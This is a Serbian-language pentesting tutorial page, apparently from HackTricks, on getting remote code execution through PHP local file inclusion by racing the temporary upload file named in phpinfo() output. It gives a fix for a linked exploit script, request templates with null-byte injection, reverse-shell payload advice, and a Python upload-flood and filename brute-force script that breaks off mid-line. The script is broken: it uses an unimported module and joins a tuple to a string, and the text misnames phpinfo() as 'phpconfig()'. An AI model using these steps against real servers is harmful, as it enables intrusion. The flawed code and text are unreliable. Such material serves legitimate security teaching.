{{#include ../../banners/hacktricks-training.md}} Da biste iskoristili ovu ranjivost, potrebni su vam: **LFI ranjivost, stranica na kojoj se prikazuje phpinfo(), "file_uploads = on" i server mora moći da piše u direktorijum "/tmp".** [https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) **Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) Morate da ispravite exploit (promenite **=>** u **=>**). Da biste to uradili, možete: ``` sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py ``` Morate promeniti i **payload** na početku eksploata (na primer, za php-rev-shell), **REQ1** (ovo treba da upućuje na phpinfo stranicu i treba da ima uključeno punjenje, tj.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), i **LFIREQ** (ovo treba da upućuje na LFI ranjivost, tj.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Proverite dupli "%" kada eksploatišete null char) {% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %} ### Teorija Ako su uploadi dozvoljeni u PHP-u i pokušate da uploadujete fajl, ovaj fajl se čuva u privremenom direktorijumu dok server ne završi obradu zahteva, zatim se ovaj privremeni fajl briše. Zatim, ako ste pronašli LFI ranjivost na web serveru, možete pokušati da pogodite ime privremenog fajla koji je kreiran i iskoristite RCE pristupajući privremenom fajlu pre nego što bude obrisan. U **Windows-u** fajlovi se obično čuvaju u **C:\Windows\temp\php** U **linux-u** ime fajla obično je **random** i nalazi se u **/tmp**. Pošto je ime nasumično, potrebno je **izvući ime privremenog fajla** iz nekog izvora i pristupiti mu pre nego što bude obrisan. To se može uraditi čitanjem vrednosti **varijable $\_FILES** unutar sadržaja funkcije "**phpconfig()**". **phpinfo()** **PHP** koristi bafer od **4096B** i kada je **pun**, on se **šalje klijentu**. Zatim klijent može **slati** **puno velikih zahteva** (koristeći velike zaglavlja) **uploadujući php** reverznu **shell**, čekati da se **prvi deo phpinfo() vrati** (gde je ime privremenog fajla) i pokušati da **pristupi privremenom fajlu** pre nego što php server obriše fajl eksploatišući LFI ranjivost. **Python skripta za pokušaj bruteforce-a imena (ako je dužina = 6)** ```python import itertools import requests import sys print('[+] Trying to win the race') f = {'file': open('shell.php', 'rb')} for _ in range(4096 * 4096): requests.post('http://target.com/index.php?c=index.php', f) print('[+] Bruteforcing the inclusion') for fname in itertools.combinations(string.ascii_letters + string.digits, 6): url = 'http://target.com/index.php?c=/tmp/php' + fname r = requests.get(url) if 'load average' in r.text: #